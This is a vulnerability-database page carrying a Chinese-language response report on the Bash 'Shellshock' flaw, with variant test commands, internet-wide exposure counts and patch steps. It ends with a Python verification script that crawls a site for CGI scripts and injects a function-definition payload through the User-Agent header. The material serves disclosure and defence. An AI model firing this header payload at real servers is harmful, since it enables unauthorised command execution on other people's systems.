版本时间描述第一版2014/9/26 中午第一版完成。第二版2014/9/26 下午1. 新...">Bash 4.3 远程命令执行漏洞 (破壳) - exploit database | Vulners.com版本时间描述第一版2014/9/26 中午第一版完成。第二版2014/9/26 下午1. 新...">版本时间描述第一版2014/9/26 中午第一版完成。第二版2014/9/26 下午1. 新...">版本时间描述第一版2014/9/26 中午第一版完成。第二版2014/9/26 下午1. 新...">
Lucene search

K
seebugRootSSV:88877
HistorySep 26, 2014 - 12:00 a.m.

Bash 4.3 远程命令执行漏洞 (破壳)

2014-09-2600:00:00
Root
www.seebug.org
1262

0.976 High

EPSS

Percentile

100.0%

<h1>1. 更新情况</h1><table><colgroup><col width=“NaN%”><col width=“NaN%”><col width=“NaN%”></colgroup><tbody><tr><td>版本</td><td>时间</td><td>描述</td></tr><tr><td>第一版</td><td>2014/9/26 中午</td><td>第一版完成。</td></tr><tr><td>第二版</td><td>2014/9/26 下午</td><td>1. 新增:加速乐防御平台的攻击统计细节;<br>2. 完善:修复建议;</td></tr><tr><td>第三版</td><td>2014/9/27 下午</td><td>1. 破壳漏洞官网出现:shellshocker.net<br>2. 更新:漏洞概要;<br>3. 新增:补丁绕过后(CVE-2014-7169)的漏洞源码级分析;<br>4. 新增:ZoomEye第四组数据:QNAP NAS漏洞情况;<br>5. 新增:ZoomEye第五组数据:CheckPoint安全网关漏洞情况;<br>6. 完善:修复建议;<br>7. 新增:相关资源链接;</td></tr><tr><td>第四版</td><td>2014/10/14 晚</td><td>1. 更新:漏洞概要,添加更多漏洞说明;<br>2. 新增:ZoomEye第六组数据:Mirapoint邮件服务器漏洞情况;<br>3. 新增:ZoomEye第七组数据:AVAYA IP电话漏洞情况;<br>4. 更新:ZoomEye各组数据;<br>5. 完善:其他结论;</td></tr></tbody></table><h1>2. 漏洞概要</h1><p>2014年9月24日,Bash惊爆严重安全漏洞,编号为CVE-2014-6271,该漏洞将导致远程攻击者在受影响的系统上执行任意代码。</p><p>GNU Bash是一个为GNU计划编写的Unix Shell,广泛使用在Linux系统内,最初的功能仅是一个简单的基于终端的命令解释器。</p><p><strong>2.1. 漏洞描述</strong></p><p>GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用Bash Shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在Shell被调用后会被立即执行。</p><p>以下几点值得特别注意:</p><ul><li>这个漏洞的英文是:ShellShock,中文名被XCERT命名为:破壳漏洞。</li><li>来自CVSS的评分:破壳漏洞的严重性被定义为10级(最高),今年4月爆发的OpenSSL“心脏出血”漏洞才5级!</li><li>破壳漏洞存在有25年,和Bash年龄一样。</li></ul><p><strong>2.2. 漏洞影响</strong></p><p>GNU Bash <= 4.3,此漏洞可能会影响到:</p><p><b>注:以下几点参考自:</b></p><p><b><a href=“https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x07_DNFWAH_shellshock_bash_story_cve-2014-6271.txt”>https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x07_DNFWAH_shellshock_bash_story_cve-2014-6271.txt</a></b><b>,且结论经过我们验证有效。</b></p><ul><li>在SSHD配置中使用了ForceCommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。</li><li>Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子Shell里都会受影响。子Shell中使用C的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用open/system的情况都会受此漏洞影响。</li><li>PHP脚本执行在mod_php不会受影响。</li><li>DHCP客户端调用Shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。</li><li>守护进程和SUID程序在环境变量设置的环境下执行Shell脚本也可能受到影响。</li><li>任何其他程序执行Shell脚本时用Bash作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。</li></ul><p><strong>2.3. 漏洞验证</strong></p><p>可以使用如下命令来检查系统是否存在此漏洞(在本机Bash环境下运行):</p><p><b>破壳</b><b>1</b><b>,</b><b>CVE-2014-6271</b><b>,测试方法:</b></p><p>env x=‘() { :;}; echo vulnerable’ bash -c “echo this is a test”</p><p>如执行结果如下表明有漏洞:</p><p>vulnerablethis is a test</p><p><b>注:</b><b>CVE-2014-6271</b><b>的漏洞源码级分析请参考:</b></p><p><b><a href=“http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/”>http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/</a></b></p><p>破壳1被修补后,又被绕过,出现了破壳2。</p><p><b>破壳</b><b>2</b><b>,</b><b>CVE-2014-7169</b><b>,测试方法:</b></p><p>env -i  X=‘() { (a)=>' bash -c ‘echo date’; cat echo</p><p>如执行结果如下则仍然存在漏洞:</p><p>bash: X: line 1: syntax error near unexpected token =‘bash: X: line 1: ‘bash: error importing function definition for `X’Wed Sep 24 14:12:49 PDT 2014</p><p><b>注:</b><b>CVE-2014-7169</b><b>的漏洞源码级分析请参考:</b></p><p><b><a href=“http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-patch-bypass-analysis/”>http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-patch-bypass-analysis/</a></b></p><p> </p><p>除了这两个最受关注的破壳CVE外,在shellshocket.net上还看到了其他几个,相比之下影响会小很多,这里也简单说明下:</p><p><b>破壳</b><b>3</b><b>,</b><b>CVE</b><b>未知,测试方法:</b></p><p>env X=’ () { }; echo vulnerable’ bash -c ‘date’</p><p>如果上面命令输出“vulnerable”,就意味着有漏洞。</p><p>这个和破壳1很像,没CVE,不做评价。</p><p><b>破壳</b><b>4</b><b>,</b><b>CVE-2014-7186</b><b>,测试方法:</b></p><p>bash -c ‘true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’ ||echo “CVE-2014-7186 vulnerable, redir_stack”</p><p>如果上面命令输出“CVE-2014-7186 vulnerable, redir_stack”,就意味着有漏洞。</p><p><b>破壳</b><b>5</b><b>,</b><b>CVE-2014-7187</b><b>,测试方法:</b></p><p>(for x in {1…200} ; do echo “for x$x in ; do :”; done; for x in {1…200} ; do echo done ; done) | bash ||echo “CVE-2014-7187 vulnerable, word_lineno”</p><p>如果上面命令输出“CVE-2014-7187 vulnerable, word_lineno”,就意味着有漏洞。</p><p><b>破壳</b><b>6</b><b>,</b><b>CVE-2014-6278</b><b>,测试方法:</b></p><p>shellshocker=’() { echo vulnerable; }’ bash -c shellshocker</p><p>如果上面命令输出“vulnerable”,就意味着有漏洞,否则会提示shellshocker未找到命令。</p><p>这个更像bash特性,居然当成了漏洞。</p><p><b>破壳</b><b>7</b><b>,</b><b>CVE-2014-6277</b><b>,测试方法:</b></p><p>bash -c “f() { x() { _;}; x() { _;} <<a; }” 2>/dev/null || echo vulnerable</p><p>如果上面命令输出“vulnerable”,就意味着有漏洞。</p><p>前两个破壳漏洞(尤其是第一个:CVE-2014-6271),影响面很直接很广,备受关注。之后的破壳漏洞在实际的测试过程中,发现比较鸡肋,但这说明一个很严重的问题:存在25年的Bash,并未经历真正的安全考验,这些全球流行的开源组件,恐怕都会存在这类安全问题。</p><h1>3. ZoomEye应急概要</h1><p>这个破壳漏洞确实是一个危害极大的漏洞,胜于今年4月8号爆发的“心脏出血”,但破壳漏洞的探测方式很复杂,不同的组件测试方式有所区别,很难评估一个影响面,但是可以肯定的是Bash<=4.3版本都受影响,而Bash在至少百亿级别数量的设备上使用,因为Bash是最流行的Linux Shell。</p><p>来自知道创宇的ZoomEye团队(钟馗之眼网络空间探知系统)通过几种方式的组合检测,得到了些影响结论。</p><p><b>注意:以下这些影响都是可被直接远程攻击的,属于高危级别!</b></p><p><strong>3.1. 第一组数据</strong></p><p><b>2014/9/26</b></p><p>我们发现深信服的应用交付管理系统存在破壳漏洞,经过ZoomEye的特殊探测,大陆地区范围内有<b>13254</b>台设备受到破壳漏洞影响,可被直接远程攻击。</p><p>利用破壳漏洞,可以直接拿到服务器root权限:</p><p><img alt=“图片1” src=“http://blog.knownsec.com/wp-content/uploads/2014/10/图片1.png” width=“1035” height=“36”></p><p><b>2014/10/6</b></p><p>再次对这<b>13254</b>台漏洞设备进行验证,发现还有<b>908</b>台未修补,修补率是<b>93.1%</b>。</p><p><b>2014/10/14</b></p><p>第三次进行验证,发现还是<b>908</b>台未修补,看来这些设备被遗忘了?</p><p><strong>3.2. 第二组数据</strong></p><p><b>2014/9/26</b></p><p>经过ZoomEye的Fuzzing探测,Fuzzing列表如下:</p><p><br>/cgi-bin/load.cgi<br>/cgi-bin/gsweb.cgi<br>/cgi-bin/redirector.cgi<br>/cgi-bin/test.cgi<br>/cgi-bin/index.cgi<br>/cgi-bin/help.cgi<br>/cgi-bin/about.cgi<br>/cgi-bin/vidredirect.cgi<br>/cgi-bin/click.cgi<br>/cgi-bin/details.cgi<br>/cgi-bin/log.cgi<br>/cgi-bin/viewcontent.cgi<br>/cgi-bin/content.cgi<br>/cgi-bin/admin.cgi<br>/cgi-bin/webmail.cgi<br></p><p>全球大概存在<b>142000</b>主机受影响,需要注意的是由于Fuzzing规则不完备,得到的数量肯定会不完备,但这个数字至少可以看到可被直接远程攻击利用的面很大。</p><p><strong>3.3. 第三组数据</strong></p><p><b>2014/9/26</b></p><p>我们看到masscan的官方发布了消息:</p><p><a href=“http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html”>http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html</a></p><p>他们全球探测的结论是:至少<b>150</b><b>万</b>受影响,而这验证规则很简单,仅对主机的80端口进行直接请求,这个结论我们也在验证。</p><p><strong>3.4. 第四组数据</strong></p><p><b>2014/9/26</b></p><p><b>2014/10/6</b></p><p>我们发现QNAP公司的NAS存储设备存在破壳漏洞,ZoomEye针对QNAP  NAS的8080端口进行大规模探测,目前的进度如下:</p><table><colgroup><col width=“NaN%”><col width=“NaN%”><col width=“NaN%”><col width=“NaN%”></colgroup><tbody><tr><td>国家/地区</td><td>9/26 受影响数量(台)</td><td>10/6 受影响数量(台)</td><td>修复率</td></tr><tr><td>大陆</td><td><b>1010</b></td><td>421</td><td>58.3%</td></tr><tr><td>台湾</td><td><b>4579</b></td><td>2020</td><td>55.9%</td></tr><tr><td>美国</td><td><b>4633</b></td><td>2363</td><td>49.0%</td></tr><tr><td>香港</td><td><b>2492</b></td><td>1284</td><td>48.5%</td></tr><tr><td>日本</td><td><b>5158</b></td><td>2708</td><td>47.5%</td></tr><tr><td>韩国</td><td><b>2130</b></td><td>1463</td><td>31.3%</td></tr></tbody></table><p>利用破壳漏洞,可以拿下QNAP NAS的admin权限(<b>最高</b>):</p><p><img alt=“图片2” src=“http://blog.knownsec.com/wp-content/uploads/2014/10/图片2.png” width=“886” height=“34”></p><p>从上面图表的修复率可以看到,相比第一组通报过的数据,QNAP NAS的修复率平均不到49%。这反应慢了很多。</p><p><strong>3.5. 第五组数据</strong></p><p><b>2014/9/27</b></p><p>我们发现CheckPoint安全网关等产品存在破壳漏洞,ZoomEye针对CheckPoint相关设备的80端口进行大规模探测,在大陆地区发现<b>71</b>台受影响设备。</p><p>利用破壳漏洞,可以拿下CheckPoint相关设备root权限:</p><p><img alt=“图片3” src=“http://blog.knownsec.com/wp-content/uploads/2014/10/图片3.png” width=“804” height=“32”></p><p><b>2014/10/14</b></p><p>再次验证后发现还有<b>52</b>台受影响。</p><p><strong>3.6. 第六组数据</strong></p><p><b>2014/9/27</b></p><p>我们发现Mirapoint邮件服务器(Message Server)存在破壳漏洞,ZoomEye针对Mirapoint邮件服务器的443端口进行大规模探测,在大陆地区发现<b>36</b>台受影响设备。乌云网站针对该设备漏洞也进行报道,并发布了漏洞预警。</p><p>利用破壳漏洞,可以直接拿下Mirapoint邮件服务器权限,并能轻易提权为root。</p><p><b>2014/10/14</b></p><p>再次验证后发现还有<b>5</b>台受影响。</p><p><strong>3.7. 第七组数据</strong></p><p><b>2014/10/6</b></p><p>通过XCERT内部的反馈,我们验证了AVAYA IP电话存在破壳漏洞的事实,ZoomEye针对AVAYA IP电话的443端口进行大规模探测,在大陆地区发现<b>4</b>台受影响设备。</p><p>利用破壳漏洞,可以直接拿下AVAYA IP电话服务器权限。</p><p><b>2014/10/14</b></p><p>再次验证后发现这<b>4</b>台还未修补。</p><p> </p><p>可以从这几组数据看到,探测方式各不相同,如果继续扩展可以逐步描绘出越来越清晰的影响面(可直接远程攻击),更多成果还在继续。</p><p>通过这几组数据还可以得出一个结论:一些没曝光/通报的设备,修补效率很低;一些已经曝光/通报的设备,也没法做到100%修补。</p><h1>4. 加速乐云防御平台应急概要</h1><p>截止时间<b>2014/9/26 12:00</b>的统计如下:</p><p>来自知道创宇加速乐团队的应急情况,拦截了<b>1759</b>次破壳漏洞攻击!</p><p>下图为<b>2014/9/25</b>破壳漏洞按小时活跃趋势图:</p><p><img alt=“QQ图片20141015161422” src=“http://blog.knownsec.com/wp-content/uploads/2014/10/QQ图片20141015161422.jpg” width=“596” height=“391”></p><p>从图中可见,加速乐云防御平台在漏洞爆发之前就已经添加规则。</p><p><b>2014/9/25</b>拦截情况如下:</p><ul><li>总共拦截数:1,759次</li><li>受攻击站点数:214个</li><li>攻击成功站点数:0个</li><li>发起攻击IP数:6个</li></ul><p>从加速乐云防御平台可以侧面看出,这种漏洞的疯狂情况。</p><h1>5. 其他结论</h1><p>通过我们连夜分析,还有一些可靠结论可以作为参考:</p><p><strong>5.1. 破壳漏洞的蠕虫已经开始全球蔓延,应该是利用masscan来进行大规模植入的。</strong></p><p>蠕虫代码在这:</p><p><a href=“https://gist.github.com/anonymous/929d622f3b36b00c0be1”>https://gist.github.com/anonymous/929d622f3b36b00c0be1</a></p><p>更多关于破壳蠕虫信息,可以参考安天的分析:</p><p>《“破壳”漏洞相关恶意代码样本分析报告——“破壳”相关分析之二》</p><p><a href=“http://www.antiy.com/response/Analysis_Report_on_Sample_Set_of_Bash_Shellshock.html”>http://www.antiy.com/response/Analysis_Report_on_Sample_Set_of_Bash_Shellshock.html</a></p><p><strong>5.2. DHCP服务受影响,这个意味着这个破壳漏洞绝不仅Linux服务器的事!</strong></p><p>POC细节在这:</p><p><a href=“https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/”>https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/</a></p><p><a href=“http://d.uijn.nl/?p=32”>http://d.uijn.nl/?p=32</a></p><p><strong>5.3. 基于SIP协议的破壳漏洞扫描也开始了!</strong></p><p><a href=“https://github.com/zaf/sipshock”>https://github.com/zaf/sipshock</a></p><p><strong>5.4. 在特定的配置下,OpenVPN也存在破壳漏洞。</strong></p><p><a href=“http://www.darknet.org.uk/2014/10/openvpn-vulnerable-to-shellshock-exploit/”>http://www.darknet.org.uk/2014/10/openvpn-vulnerable-to-shellshock-exploit/</a></p><p><strong>5.5. 全球范围内关于破壳漏洞利用已公布的细节可以在这看到:</strong></p><p><a href=“https://github.com/mubix/shellshocker-pocs”>https://github.com/mubix/shellshocker-pocs</a></p><p>一些邮件服务如:Exim、Qmail、Procmail、Postfix等。</p><p>一些大厂商:Cisco、Juniper、cPanel等。</p><h1>6. 修复建议</h1><p>现在可以按照下面方式进行Bash的升级修复:</p><table><colgroup><col width=“NaN%”><col width=“NaN%”></colgroup><tbody><tr><td>操作系统</td><td>升级方式</td></tr><tr><td>Ubuntu/Debian</td><td>apt-get update<br>apt-get install bash</td></tr><tr><td>RedHat/CentOS/Fedora</td><td>yum update -y bash</td></tr><tr><td>Arch Linux</td><td>pacman -Syu</td></tr><tr><td>OS X</td><td>brew update<br>brew install bash<br>sudo sh -c ‘echo “/usr/local/bin/bash” >> /etc/shells’<br>chsh -s /usr/local/bin/bash<br>sudo mv /bin/bash /bin/bash-backup<br>sudo ln -s /usr/local/bin/bash /bin/bash</td></tr><tr><td>MacPorts</td><td>sudo port self update<br>sudo port upgrade bash</td></tr></tbody></table><p> </p><p>建议升级后按上面的方法诊断是否补丁完全。</p><h1>7. 相关资源链接</h1><ul><li>ShellShock官网:<a href=“https://shellshocker.net/”>https://shellshocker.net/</a></li></ul><p>来自<a href=“http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/”>http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/</a></p>


                                                #!/usr/bin/env python
# coding=utf-8

import re
import sys
import random
import string
import urllib2

from urlparse import urljoin
from urlparse import urlparse
from urlparse import urlunparse
from posixpath import normpath

from comm import cmdline
from comm import generic


poc_info = {
    'VulId': '1521',
    'Name': 'Bash 4.3 远程命令执行漏洞 POC',
    'AppName': 'Bash',
    'AppPowerLink': 'http://www.gnu.org/software/bash/',
    'AppVersion': '3.0-4.3',
    'VulType': 'Command Execution',
    'Desc': '''
            Bash 在解析环境变量时,会解析函数,同时可以运行函数后的语句,造成命令执行。
            ''',
    'Author': ['zhengdt @ knownsec'],
    'VulDate': '2014-09-24',
    'CreateDate': '2014-09-25',
    'UpdateDate': '2014-09-25',
    'References': ['https://www.invisiblethreat.ca/2014/09/cve-2014-6271/'],
    'Version': '1',
}

io_info = {
    'URL': '',
    'Mode': 'v',
    'Verbose': False,
    'Error': '',
    'Status': 0,
    'Result': {}
}


def main(io_info):
    url = io_info.get('URL', '')
    mode = io_info.get('Mode', 'v')
    verbose = io_info.get('Verbose', False)
    headers_fake = {}

    vul_url = None

    if mode == 'v' or mode == 'a':
        try:
            vul_url = get_url_need(url)
            if not vul_url.endswith('.cgi') and not vul_url.endswith('.sh'):
                io_info['Error'] = '%s - no vul url' % url
                return 

            if verbose:
                print '[*] %s - Requesting target url ...' % vul_url
            random_str = ''.join(random.sample(string.letters+string.digits, 50))
            headers_fake['User-Agent'] = '() { :; }; echo; echo X-Bash-Test: %s' % random_str 
            
            try:
                response = urllib2.urlopen(urllib2.Request(vul_url, headers=headers_fake))
                response = response.read()
            except urllib2.HTTPError, e:
                response = e.data

            if verbose:
                print '[*] %s - Check X-Bash-Test ...' % vul_url

            if 'X-Bash-Test: %s' % random_str == response.split('\n')[0]:
                io_info['Status'] = 1
                io_info['Result']['VerifyInfo'] = {}
                io_info['Result']['VerifyInfo']['URL'] = vul_url

        except Exception, e:
            io_info['Error'] = '[*] %s' % str(e)
            return


def get_url(url):
    try:
        return urllib2.urlopen(url).url
    except urllib2.HTTPError:
        return url


def fix_url(url):
    if not url.startswith('http'):
        url = 'http://%s' % url
    return url


def get_url_need(url):
    url_need = None

    url = fix_url(url)

    if url.endswith('.cgi') or url.endswith('.sh'):
        url_need = url
        return url_need

    url = get_url(url)
    url_need = get_link(url)

    if not url_need:
        #print '[*] get url need error'
        url_need = url

    info = url_need
    #print info
    return info


def get_link(url):
    rnt = ''
    try:
        page_content = urllib2.urlopen(url).read()
        match = re.findall(r'''(?:href|action|src)\s*?=\s*?(?:"|')\s*?([^'"]*?\.(?:cgi|sh|pl))''', page_content)
        for item_url in match:
            if not item_url.startswith('http'):
                item_url = getAbsoluteURL(url, item_url)
            if not is_url_exist(item_url):
                continue
            if isSameDomain(item_url, url):
                rnt = item_url
                break
        return rnt
    except Exception, e:
        #raise e
        return rnt


def getAbsoluteURL(base, url):
    url1 = urljoin(base, url)
    arr = urlparse(url1)
    path = normpath(arr[2])
    return urlunparse((arr.scheme, arr.netloc, path, arr.params, arr.query, arr.fragment))

def is_url_exist(url):
    try:
        urllib2.urlopen(url)
    except urllib2.HTTPError, e:
        return not e.code == 404
    return True


def isSameDomain(url1, url2):
    return True
    try:
        if urlparse(url1).netloc.split(':')[0] == urlparse(url2).netloc.split(':')[0]:
            return True
        else:
            return False
    except Exception, e:
        return False


if __name__ == "__main__":
    cmdline.main(io_info, usage='', argvs=[])
    if io_info['Verbose']:
        print '\n[*] Init ...\n'
    main(io_info)
    print generic.output(io_info)

                              

0.976 High

EPSS

Percentile

100.0%